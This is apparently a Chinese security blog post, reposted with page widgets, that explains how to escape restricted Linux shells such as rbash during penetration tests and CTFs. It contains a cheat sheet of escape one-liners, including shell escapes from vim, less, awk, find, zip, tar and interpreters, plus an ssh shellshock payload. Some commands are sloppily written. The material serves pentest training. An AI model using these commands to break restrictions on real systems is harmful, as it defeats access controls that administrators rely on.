渗透linux不能执行命令,渗透技巧——如何逃逸Linux的受限制shell执行任意命令

fcaa2b51b01dd44d2fd6e9c1ebe0cddf.png

97a05270559bd64a048a04bcbb76a030.png

0x01 前言

今早在刷twitter的时候看到了一篇文章(https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf?rss),介绍了如何在受限制的shell中执行任意命令,实现交互。其相应的利用场景是说当我们通过一些手段拿到当前Linux机器的shell时,由于当前shell的限制,很多命令不能执行,导致后续的渗透无法进行,在这篇文章中,就介绍了一些常见的绕过方法,同时在文章末尾提供了一个线上的练习环境。

我就该文章提到的相应技术细节进行复现,同时附带上一些自己的思考,于是便有了本文。如有谬误,还望各位师傅斧正。

97a05270559bd64a048a04bcbb76a030.png

0x02 技术背景及简介

在文章开始,首先来介绍一下什么是受限制的shell。简单理解,受限制的shell是说限制了一个shell的部分命令,像cd、ls、echo,或者是限制了一些环境变量,诸如SHELL、PATH、USER。有些情况下,受限制的shell也会限制包含/的命令,或者限制一些输出符,像>、>>等。常见的受限制shell有:rbash、rksh、rsh。

不过话又说回来了,为什么有的人会创建这种受限制的shell呢?什么样的业务场景需要这种受限制的shell。

通常来讲,构建一个受限制的shell通常处于以下目的:

1、提高操作系统的安全性

2、阻止攻击者,防止其进行后续的渗透

3、有时,系统管理员也会创建受限制的shell防止自己输入一些危险命令,影响业务

4、制作CTF题目(Root-me、hackthebox、vulnhub)

97a05270559bd64a048a04bcbb76a030.png

0x03 枚举Linux环境

枚举是找到突破方法的重要组成部分。我们需要枚举Linux环境来检测为了绕过rbash我们可以做哪些事。

在正式进行绕过测试之前,我们需要进行以下操作:

1、首先,我们必须检查可用命令,像cd、ls、echo等

2、接下来我们要检查常见的操作符,像>、>>、

3、然后对可用的编程语言进行检查,如perl、ruby、python等

4、通过sudo -l命令检查我们可以使用root权限运行哪些命令

5、使用SUID perm检查文件或命令。

6、使用echo $SHELL命令检查当前使用的是什么shell(90%得到的结果是rbash)

7、使用env或者printenv命令检查环境变量

通过以上操作,我们已收集到一些游泳的信息,接下来尝试一下通用的利用方法。

97a05270559bd64a048a04bcbb76a030.png

0x04 通用利用技巧

1、如果"/"命令可用的话,运行/bin/sh或者/bin/bash

2、运行cp命令,将/bin/sh或者/bin/bash复制到当前目录

3、在ftp中运行!/bin/sh或者!/bin/bash,如下图所示

e68eca1cebbd91e9b1e47b315018c93c.png

4、在gdb中运行!/bin/sh或者!/bin/bash

5、在more、man、less中运行!/bin/sh或者!/bin/bash

6、在vim中运行!/bin/sh或者!/bin/bash

7、在rvim中执行:python import os; os.system("/bin/bash )

8、scp -S /path/yourscript x y:

9、awk 'BEGIN {system("/bin/sh or /bin/bash")}'

10、find / -name test -exec /bin/sh or /bin/bash \;

其中第6、7、8几种方法暂未在本地复现。

97a05270559bd64a048a04bcbb76a030.png

0x05 编程语言技巧

利用常见的编程语言解释器实现受限制shell的绕过

1、使用except spawn

2、python -c 'import os; os.system("/bin/sh")'

3、php -a then exec("sh -i");

4、perl -e 'exec "/bin/sh";'

5、Lua:os.execute('/bin/sh').

6、ruby:exec "/bin/sh"

97a05270559bd64a048a04bcbb76a030.png

0x06 高级利用技巧

1、ssh username@IP – t "/bin/sh" or "/bin/bash"

2、ssh username@IP -t "bash –noprofile"

3、ssh username@IP -t "() { :; }; /bin/bash" (shellshock)

4、ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID)

5、git帮助状态下通过!/bin/bash进入交互式shell

6、pico -s "/bin/bash"进入编辑器写入/bin/bash然后按ctrl + T键

7、zip /tmp/test.zip /tmp/test -T –unzip-command="sh -c /bin/bash"

8、tar cf /dev/null testfile –checkpoint=1 –checkpointaction=exec=/bin/bash

C SETUID SHELL :

90cba4b80cc0a09ed89ac6546feac974.png

97a05270559bd64a048a04bcbb76a030.png

0x07 线上练习环境

原文提供了两个线上练习环境,这里对相应的题解进行解答。

先来看下这个站点https://www.hackthebox.eu/,这个站点需要注册登陆后才能使用其中的题目,根据faq,注册需要完成一个线上挑战,https://www.hackthebox.eu/invite

158dccacaf3f7c6702ba6cd2c8031c85.png

简单尝试了下,开始看前端的代码,

a51d10155347663fc934f0b4ae0236d5.png

访问https://www.hackthebox.eu/js/inviteapi.min.js

在console下执行makeInviteCode()

46a73000e7d7efd16f75744f85b1ce1f.png

根据data和相应的加密方式还原出明文信息。

118f145732ba7ac33987260ab2d29b0b.png

根据提示是向该地址发送POST包,

4189f04d52ec38f83e4c8a52d7011184.png

对code的内容进行解码,即获得了相应的邀请码,拿去注册即可。

cca4e41226a90f09b41d920bf04aeb3b.png

大概看了下,这个网站的内容还是挺有趣的,所以不打算在这节介绍了,以后有机会开个系列详细介绍。

97a05270559bd64a048a04bcbb76a030.png

0x08 参考链接

https://www.root-me.org/en/Challenges/App-Script/Restricted-shells

https://www.hackthebox.eu/

https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf?rss

https://www.cnblogs.com/lzrabbit/p/4298794.html

6c84eb5759a5fc4f906a5b2937603c5a.png

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值